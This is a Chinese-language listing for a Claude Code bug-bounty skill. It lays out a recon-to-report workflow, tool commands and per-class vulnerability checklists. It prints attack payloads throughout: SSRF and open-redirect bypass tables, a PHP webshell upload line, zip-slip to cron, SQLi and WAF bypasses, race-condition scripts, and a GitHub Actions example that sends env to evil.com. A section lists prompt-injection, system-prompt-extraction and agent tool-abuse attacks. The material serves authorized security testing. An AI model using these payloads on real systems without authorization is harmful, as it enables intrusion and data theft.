bb-local-toolkit

Name: bb-local-toolkit
Author: elementalsouls

github.com/elementalsouls安全5.3k290 次安装今天更新

代码仓库

关于 bb-local-toolkit

面向漏洞赏金研究人员的本地安全测试技能，覆盖侦察、验证和报告，并强调先证明现实影响再提交发现。它还提供漏洞链分析方法、测试清单及常用工具命令。

主要功能

01侦察到报告的测试流程
02现实影响优先的漏洞筛选
03相邻漏洞与利用链分析
04目标范围和授权核查
05常见安全测试工具与命令

适用场景

01制定漏洞赏金项目的侦察计划
02验证发现是否造成实际损害
03从单个漏洞扩展测试相关端点
04在提交前复现并评估漏洞影响

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill bb-local-toolkit

安装后在 Claude Code 中输入/bb-local-toolkit确认已加载。

详细介绍

漏洞赏金主工作流

完整流程：侦察 -> 学习 -> 搜寻 -> 验证 -> 报告。一个技能，涵盖所有环节。

唯一重要的问题

“攻击者现在能否对一名没有采取任何异常操作的真实用户实施攻击，并造成实际损害（资金被盗、个人身份信息泄露、账户被接管、代码执行）？”

如果答案是否定的——停止。不要写报告。不要继续探索。转向下一个目标。

理论漏洞 = 浪费时间。立即排除以下情况：

模式	排除原因
“理论上可能导致……”	无法利用 = 不是漏洞
“攻击者在满足 X、Y、Z 条件时可以……”	前置条件太多
“实现有误，但没有实际影响”	有误但无害 = 不是漏洞
含有漏洞的死代码	无法触达 = 不是漏洞
不含机密信息的 Source Map	没有影响
只有 DNS 回调的 SSRF	需要数据外泄或内部访问
单独的开放重定向	需要账户接管或 OAuth 攻击链
“如果能串联其他漏洞，就可以……”	先构建攻击链，再报告

必须证明实际损害。“可能”不算漏洞。证明其可行，否则放弃。

关键规则

先阅读完整的范围说明——确认每个资产/域名都归目标组织所有
不要提交理论漏洞——“攻击者现在能否窃取资金、泄露个人身份信息、接管账户或执行代码？”如果不能，停止。
快速排除薄弱发现——撰写报告前，先通过 7 个问题的筛选关卡
先验证，再撰写——先检查 CHANGELOG、设计文档和部署脚本
一次只查一种漏洞类型——深入调查，不要撒网式扫描
确认数据并非早已公开——报告 API“泄露”前，先用无痕模式检查网页界面
5 分钟规则——探测 5 分钟后目标仍无响应（全部返回 401/403/404）？转向下一个目标
以影响为先进行搜寻——问“如果身份验证被绕过，最糟会发生什么？”如果没有有价值的影响，就跳过该目标
凭据泄露需要利用证明——发现密钥还不够，必须证明它们能访问什么
停止浅层侦察的无效循环——不要探测 403，不要 grep 分析工具密钥，不要检查毫无进展的暂存域名
业务影响优先于漏洞类型——严重程度取决于具体情境，而不仅仅是漏洞类型
深入了解目标——开始搜寻前，像真实用户一样熟悉应用
不要过度依赖自动化——自动扫描会撞上 WAF、触发速率限制，还会发现其他人都发现过的漏洞
搜寻竞争较少的漏洞类型——XSS/SSRF/XXE 竞争最激烈。拓展到：缓存投毒、Android/移动端漏洞、业务逻辑、竞态条件、OAuth/OIDC 攻击链、CI/CD 流水线攻击
一小时规则——在一个目标上卡了一小时且毫无进展？切换上下文
双视角方法——结合系统化测试（检查清单）与异常检测（留意意外行为）
T 型知识结构——在一个领域深入钻研，同时广泛了解其他领域

完整的漏洞搜寻方法论——包括 5 阶段非线性工作流、开发者心理框架、会话纪律、按阶段选择工具，以及广度/深度路径选择，请参阅 skills/bb-methodology/SKILL.md。

A->B 漏洞信号法（聚类搜寻）

**发现漏洞 A 后，系统地搜寻附近的漏洞 B 和 C。**这是漏洞赏金中最强大的方法之一。单个漏洞有回报，串联漏洞的回报可高出 3 到 10 倍。

已知的 A->B->C 利用链

漏洞 A（信号）	寻找漏洞 B	升级到 C
IDOR（读取）	对同一端点执行 PUT/DELETE	完整操纵账户数据
SSRF（任意）	云元数据 169.254.169.254	窃取 IAM 凭证 -> RCE
XSS（存储型）	检查会话 Cookie 是否设置了 HttpOnly	劫持会话 -> ATO
开放重定向	OAuth redirect_uri 是否接受你的域名	窃取授权码 -> ATO
S3 存储桶列表	枚举 JS 包	搜索 OAuth client_secret -> OAuth 利用链
绕过速率限制	暴力破解 OTP	接管账户
GraphQL 内省	缺少字段级授权	批量窃取 PII
调试端点	泄露环境变量	云凭证 -> 基础设施访问
CORS 反射来源	使用 credentials: include 进行测试	窃取经身份验证的数据
Host 头注入	密码重置投毒	通过重置链接 ATO

集群狩猎流程（6 个步骤）

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

真实案例

Coinbase S3->Bundle->Secret->OAuth 利用链：

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna 聊天机器人利用链：

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

顶尖 1% 黑客的思维方式

顶尖黑客的不同思考方式

普通猎手：运行工具、对照清单检查，30 分钟后就放弃。 顶尖 1%：构建对应用内部机制的心智模型。他们会问：“为什么它会以这种方式运行？”而不是“这个端点做什么？”，而是“是什么业务决策让开发者这样构建它？他们可能走了什么捷径？”

狩猎前的思维框架

步骤 1：锁定核心目标

在动手之前，先问：“如果我是攻击者，只能对这个应用做一件事，什么会造成最大损害？”

金融应用 -> 转走资金，转入攻击者账户
医疗健康 -> 泄露 PII，违反 HIPAA
SaaS -> 跨租户数据泄露，接管管理员账户
身份验证提供商 -> 全面攻陷 SSO 链

步骤 2：设身处地为开发者着想

像构建该功能的开发者一样思考：

最简单的实现方式是什么？
一个疲惫的开发者凌晨 2 点会走什么捷径？
在哪里检查授权——控制器、中间件，还是数据库层？
不先经过端点 A，直接调用端点 B 会发生什么？

步骤 3：绘制信任边界

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

步骤 4：思考功能间的交互

这个新功能会复用旧的授权逻辑，还是有自己的授权逻辑？
移动端 API 是否与 Web 应用共用授权逻辑？
这个功能是由同一个团队还是第三方构建的？

顶尖 1% 的思维清单

我了解该应用的核心业务模式
我以真实用户身份使用过该应用至少 15 分钟
我了解技术栈（语言、框架、授权系统、缓存）
我至少读过该计划公开的 3 份报告
我准备好了 2 个测试账户（攻击者 + 受害者）
我已确定主要目标：今天要寻找的一个核心目标

顶尖猎手的思维准则

“狩猎功能，而非端点”——找出服务于某项功能的所有端点，然后测试它们之间的交互。

“授权不一致是你的帮手”——如果应用在 9 个地方检查授权，却漏掉了第 10 个地方，这就是你的漏洞。

“新功能 == 未审查”——过去 30 天内推出的功能，安全成熟度最低。

“考虑二阶问题”——二阶 SSRF：URL 保存在数据库中，由定时任务抓取。二阶 XSS：内容经过清理后存储，却在管理面板中不安全地渲染。

“追踪资金流向”——凡是涉及支付、账单、额度、退款的功能，都是开发者最容易走安全捷径的地方。

“移动应用使用的 API”——移动应用通常会调用较旧或不同版本的 API。同一家公司，不同的攻击面，安全成熟度更低。

“比较差异能发现漏洞”——比较旧版和新版 API 文档。比较移动端 API 和 Web API。比较免费用户可以请求的内容与付费用户收到的响应。

工具

Go 二进制工具

工具	用途
subfinder	被动子域名枚举
httpx	探测存活主机
dnsx	DNS 解析
nuclei	模板扫描器
katana	爬取
waybackurls	存档 URL
gau	已知 URL
dalfox	XSS 扫描器
ffuf	模糊测试器
anew	去重追加
qsreplace	替换参数值
assetfinder	子域名枚举
gf	Grep 模式（xss、sqli、ssrf、redirect）
interactsh-client	带外回调

按需安装的工具

工具	用途	安装
arjun	发现隐藏参数	`pip3 install arjun`
paramspider	挖掘 URL 参数	`pip3 install paramspider`
kiterunner	API 端点暴力枚举	`go install github.com/assetnote/kiterunner/cmd/kr@latest`
cloudenum	云资产枚举	`pip3 install cloud_enum`
trufflehog	密钥扫描	`brew install trufflehog`
gitleaks	密钥扫描	`brew install gitleaks`
XSStrike	高级 XSS 扫描器	`pip3 install xsstrike`
SecretFinder	提取 JS 密钥	`pip3 install secretfinder`
sqlmap	SQL 注入	`pip3 install sqlmap`
subzy	子域名接管	`go install github.com/LukaSikic/subzy@latest`

静态分析（Semgrep 快速审计）

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF 高级技巧

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI 辅助工具

strix（usestrix.com）-- 用于自动化初步扫描的开源 AI 扫描器

阶段 1：侦察

标准侦察流程

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

云资产枚举

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API 端点发现

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne 范围检索

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

快速收获检查清单

技术指纹识别

特征	技术
Cookie：`XSRF-TOKEN` + `*_session`	Laravel
Cookie：`PHPSESSID`	PHP
Header：`X-Powered-By: Express`	Node.js/Express
响应：`wp-json`/`wp-content`	WordPress
响应：`{"errors":[{"message":`	GraphQL
Header：`X-Powered-By: Next.js`	Next.js

框架快速收获

Laravel：/horizon、/telescope、/.env、/storage/logs/laravel.log WordPress：/wp-json/wp/v2/users、/xmlrpc.php、/?author=1 Node.js：/.env、/graphql（内省）、/_debug AWS Cognito：/oauth2/userInfo（泄露 Pool ID），CORS 会反射任意来源

源代码侦察

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

特定语言的 Grep 模式

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

阶段 2：学习（狩猎前情报）

阅读已披露的报告

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

“发生了什么变化”方法

查找类似技术的已披露报告
获取修复提交
阅读差异 -- 找出反模式
在目标中 Grep 查找相同的反模式

威胁建模模板

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

顶级报告中的 6 个关键模式

功能复杂度 = 漏洞面 -- 导入、集成、多租户、多步骤工作流
开发者不一致 = 最有力的证据 -- 一处使用 timingSafeEqual，另一处使用 ===
“Else 分支”漏洞 -- 代理/网关在 else 路径中未经验证便传递原始令牌
导入/导出 = SSRF -- 历来每个“从 URL 导入”功能都存在 SSRF
次要/旧版端点 = 无身份验证 -- /api/v1/ 有保护，但 /api/ 没有
金融操作中的竞态窗口 -- 将检查和扣款作为两次 DB 操作 = 双重支出

阶段 3：狩猎

笔记系统（切勿在没有笔记的情况下狩猎）

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

子域名类型 -> 测试策略

dev/staging/test：调试端点、禁用的身份验证、详细错误信息
admin/internal：默认凭据、IP 绕过请求头（X-Forwarded-For: 127.0.0.1）
api/api-v2：使用 kiterunner 枚举，检查较旧且未受保护的版本
auth/sso：OAuth 配置错误、redirect_uri 中的开放重定向
upload/cdn：CORS、路径遍历、存储型 XSS

基于 CVE 的审计方法

构建 CVE 评估集 —— 收集目标代码库中过去的 5-10 个 CVE
复现旧漏洞 —— 验证能否在旧代码中找到该模式
向前匹配模式 —— 在当前代码中搜索相同的反模式
重点关注攻击面广的领域 —— JS 引擎、解析器，以及任何处理不可信外部输入的内容

Rust/区块链源代码（实战经验）

恐慌路径：编码与解码 —— 编码路径上的 .unwrap() 无法由攻击者触发。只有对网络输入进行反序列化/解码时发生的恐慌才可被利用。

“已知 TODO”不构成缓解措施 —— 类似 // Votes are not signed for now 的注释并不意味着安全。

从已确认的发现出发进行基于模式的搜寻 —— 如果 verify_signed_vote 存在缺陷，就检查 verify_signed_proposal 和 verify_commit_signature。

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

漏洞搜寻检查清单

IDOR —— 不安全的直接对象引用

Web2 中赏金最高的类别之一——所有获得赏金的提交中有 30%。

IDOR 变体（10 种测试方式）

变体	测试内容
V1：直接	更改 URL 路径中的对象 ID：`/api/users/123` -> `/api/users/456`
V2：请求体参数	更改 POST/PUT JSON 请求体中的 ID：`{"user_id": 456}`
V3：GraphQL 节点	`{ node(id: "base64(OtherType:123)") { ... } }`
V4：批量	`/api/users?ids=1,2,3,4,5` —— 一次请求多个 ID
V5：嵌套	更改父级 ID：`/orgs/{org_id}/users/{user_id}`
V6：文件路径	`/files/download?path=../other-user/file.pdf`
V7：可预测	连续整数、时间戳、短 UUID
V8：切换方法	GET 返回 403？尝试对同一端点使用 PUT/PATCH/DELETE
V9：版本回退	v2 被拦截？尝试同一端点的 `/api/v1/`
V10：请求头注入	`X-User-ID: victim_id`、`X-Org-ID: victim_org`

IDOR 测试检查清单

创建两个账户（A = 攻击者，B = 受害者）
以 A 身份登录，执行所有操作，并记录请求中的所有 ID
以 B 身份登录，使用 B 的身份验证重放带有 A 的 ID 的请求
对所有端点尝试替换 ID——不只是 GET，也包括 PUT/DELETE/PATCH
检查 API v1/v2 的差异
检查 GraphQL 架构中的 node() 查询
检查 WebSocket 消息中由客户端提供的 ID
测试批量端点（能否请求多个 ID？）
尝试添加意外参数：?user_id=other_user

IDOR 攻击链（更高赏金）

IDOR + 读取 PII = 中危
IDOR + 写入（修改他人数据）= 高危
IDOR + 管理员端点 = 严重（权限提升）
IDOR + 账户接管路径 = 严重
IDOR + 聊天机器人（大模型读取其他用户的数据）= 高危

SSRF —— 服务端请求伪造

尝试云元数据：http://169.254.169.254/latest/meta-data/
尝试内部服务：http://127.0.0.1:6379/（Redis）、:9200（Elasticsearch）、:27017（MongoDB）
测试所有 IP 绕过技术（见下表）
测试协议绕过：file://、dict://、gopher://
检查：Webhook URL、从 URL 导入、个人资料图片 URL、PDF 生成器、XML 解析器

SSRF IP 绕过表（11 种技巧）

绕过方式	载荷	说明
十进制 IP	`http://2130706433/`	将 127.0.0.1 表示为一个十进制数
十六进制 IP	`http://0x7f000001/`	十六进制表示
八进制 IP	`http://0177.0.0.1/`	八进制 0177 = 127
短 IP	`http://127.1/`	缩写形式
IPv6	`http://[::1]/`	IPv6 回环地址
IPv6 映射地址	`http://[::ffff:127.0.0.1]/`	IPv4 映射的 IPv6 地址
重定向链	`http://attacker.com/302->http://169.254.169.254`	检查每一跳
DNS 重绑定	注册一个解析到 127.0.0.1 的域名	首次检查时为外部地址，获取时为内部地址
URL 编码	`http://127.0.0.1%[email protected]`	解析器混淆
带圈字母数字	`http://①②⑦.⓪.⓪.①`	Unicode 数字
协议混淆	`gopher://127.0.0.1:6379/_INFO`	Redis 等协议

SSRF 影响链

仅 DNS 查询 = 信息级（不要提交）
可访问内部服务 = 中危
可读取云元数据 = 高危（密钥暴露）
可读取云元数据 + 外传密钥 = 严重（在云端执行代码）
可访问 Docker API = 严重（直接 RCE）

OAuth / OIDC

缺少 state 参数 -> CSRF
redirect_uri 接受通配符 -> ATO
缺少 PKCE -> 授权码被盗
隐式流 -> 引荐来源中泄露令牌
认证后重定向中存在开放重定向 -> OAuth 令牌窃取链

开放重定向绕过表（11 种技巧）

将开放重定向串联到 OAuth 授权码窃取时使用：

绕过方式	载荷	说明
双重 URL 编码	`%252F%252F`	双重解码后变为 `//`
反斜杠	`https://target.com\@evil.com`	某些解析器会将 `\` 规范化为 `/`
缺少协议	`//evil.com`	协议相对 URL
@ 技巧	`https://[email protected]`	target.com 会被解析为用户名
协议相对 URL	`///evil.com`	三个斜杠
制表符/换行符注入	`//evil%09.com`	主机名中包含空白字符
片段技巧	`https://evil.com#target.com`	片段会误导验证逻辑
空字节	`https://evil.com%00target.com`	某些解析器会在空字节处截断
参数污染	`?next=target.com&next=evil.com`	采用最后一个值
路径混淆	`/redirect/..%2F..%2Fevil.com`	重定向中的路径遍历
Unicode 规范化	`https://evil.com/target.com`	视觉混淆

文件上传

文件上传绕过表

绕过方式	技巧
双扩展名	`file.php.jpg`、`file.php%00.jpg`
大小写变体	`file.pHp`、`file.PHP5`
替代扩展名	`.phtml`、`.phar`、`.shtml`、`.inc`
伪造 Content-Type	使用 PHP 内容并设置 `image/jpeg` 标头
魔数	`GIF89a; <?php system($_GET['c']); ?>`
上传 .htaccess	`AddType application/x-httpd-php .jpg`
SVG XSS	`<svg onload=alert(1)>`
竞态条件	在清理操作运行前上传并执行
JPEG/PHP 多态文件	同时是有效 JPEG 和有效 PHP 的文件
Zip slip	压缩包内文件名使用 `../../etc/cron.d/shell`

魔数参考

类型	十六进制
JPEG	`FF D8 FF`
PNG	`89 50 4E 47 0D 0A 1A 0A`
GIF	`47 49 46 38`
PDF	`25 50 44 46`
ZIP/DOCX/XLSX	`50 4B 03 04`

竞态条件

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- 单数据包攻击（所有请求同时到达）

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

业务逻辑

购物车中使用负数数量
篡改价格参数
跳过工作流步骤（例如，未结账直接付款）
通过注册字段提升角色
降级后权限仍然保留

XSS -- 跨站脚本攻击

XSS 接收点（grep 搜索以下内容）

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS 链（从中危升级为高危/严重）

XSS + 敏感页面（银行、管理后台）= 高危
XSS + 窃取 CSRF 令牌 = 绕过 CSRF -> 执行严重操作
XSS + Service Worker = 跨页面持久化 XSS
XSS + 通过伪造登录表单窃取凭据 = ATO
聊天机器人回复中的 XSS = 存储型 XSS 链

SQL 注入

检测

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

现代 SQLi WAF 绕过

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

内省（单独存在 = 信息级，但会暴露攻击面）

{ __schema { types { name fields { name type { name } } } } }

缺少字段级授权

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

批处理攻击（绕过速率限制）

[
  {"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
  {"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI 功能

通过传递给 LLM 的用户输入进行提示词注入
通过 AI 处理的文档/URL 进行间接注入
聊天记录中的 IDOR（枚举对话 ID）
通过角色扮演/编码提取系统提示词
滥用代码执行工具实现 RCE
ASCII 隐写（LLM 输出中的不可见 Unicode 字符）

Agentic AI 漏洞猎寻（OWASP ASI01-ASI10）

当目标包含可调用工具的 AI Agent 时，以下是 10 类攻击：

ID	漏洞类别	测试内容
ASI01	提示词注入	通过用户输入覆盖系统提示词——让 Agent 忽略其规则
ASI02	工具滥用	让 AI 使用攻击者控制的参数调用工具（通过“fetch URL”实现 SSRF，通过代码工具实现 RCE）
ASI03	数据外泄	通过泄露上下文的精心构造提示词提取训练数据 / PII
ASI04	权限提升	利用 AI 访问仅限管理员使用的工具——Agent 的权限范围大于用户
ASI05	间接注入	污染 AI 处理的文档/URL——在获取的内容中隐藏指令
ASI06	过度授权	AI 未经确认就执行破坏性操作——删除、发送、付款
ASI07	模型 DoS	构造导致无限循环、过度消耗令牌或内存溢出的输入
ASI08	不安全输出	AI 在输出中生成 XSS/SQLi/命令注入内容并被渲染
ASI09	供应链	AI 调用的插件/工具/MCP 服务遭到入侵
ASI10	敏感信息泄露	AI 泄露内部配置、API 密钥、系统提示词、用户数据

分流规则： ASI 单独存在 = 信息级。必须与 IDOR/数据外泄/RCE/ATO 串联，才能获得付费漏洞赏金。

缓存投毒 / Web 缓存欺骗

测试 X-Forwarded-Host、X-Original-URL、X-Rewrite-URL——未纳入缓存键的请求头会在响应中反射
参数混淆（?param=value;poison=xss）
超大 GET 请求（GET 请求中的正文参数）
Web 缓存欺骗（/account/settings.css——诱使缓存存储私有响应）
Param Miner（Burp 扩展）——自动发现未纳入缓存键的请求头

HTTP 请求走私

CL.TE：前端处理 Content-Length，后端处理 Transfer-Encoding
TE.CL：前端处理 Transfer-Encoding，后端处理 Content-Length
H2.CL：HTTP/2 降级走私
TE 混淆：Transfer-Encoding: xchunked、制表符前缀、空格前缀
使用 Burp“HTTP Request Smuggler”扩展——自动检测

CL.TE 示例

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端读取 Content-Length: 13 -> 发送全部内容。后端读取 Transfer-Encoding -> 看到块“0”= 结束 -> “SMUGGLED” 留在缓冲区 -> 污染下一位用户的请求。

Android / 移动端漏洞猎寻

绕过证书锁定（Frida/objection）
导出的 Activity/Receiver（AndroidManifest.xml）
深度链接注入
SharedPreferences / SQLite 明文存储
WebView JavaScript 桥接
移动端 API 通常使用比 Web 端更旧/不同的 API 版本

CI/CD 流水线 — GitHub Actions 安全

工具：使用 sisakulint 执行自动化 SAST——52 条规则，可在步骤、作业和可复用工作流间传播污点，覆盖 81.6% 的 GitHub 安全公告（31/38 条 GHSA）。安装：brew install sisakulint，或从发布页面下载二进制文件。

快速扫描：sisakulint scan .github/workflows/——标记严重/高危问题，并提供自动修复建议。 远程扫描：sisakulint scan --remote owner/repo——无需克隆即可扫描。

侦察：查找工作流文件

# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint on all workflows:
sisakulint scan .github/workflows/

类别 1：代码注入与表达式安全（CICD-SEC-04）

根本原因：不可信输入（github.event.issue.title、github.event.pull_request.body、分支名称、提交消息）通过 ${{ }} 表达式插入 run: 块。

污点来源（由攻击者控制）：

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref

表达式注入——在 run: 块中使用 ${{ github.event.issue.title }} = 远程代码执行（RCE）

# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
run: echo "${{ github.event.issue.title }}"

# FIXED — use env var (shell-quoted, not expression-interpolated)
env:
  TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"

环境变量注入——不可信输入 → $GITHUB_ENV

# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV

# FIXED — use heredoc delimiter
run: |
  {
    echo "BRANCH<<EOF"
    echo "${{ github.head_ref }}"
    echo "EOF"
  } >> $GITHUB_ENV

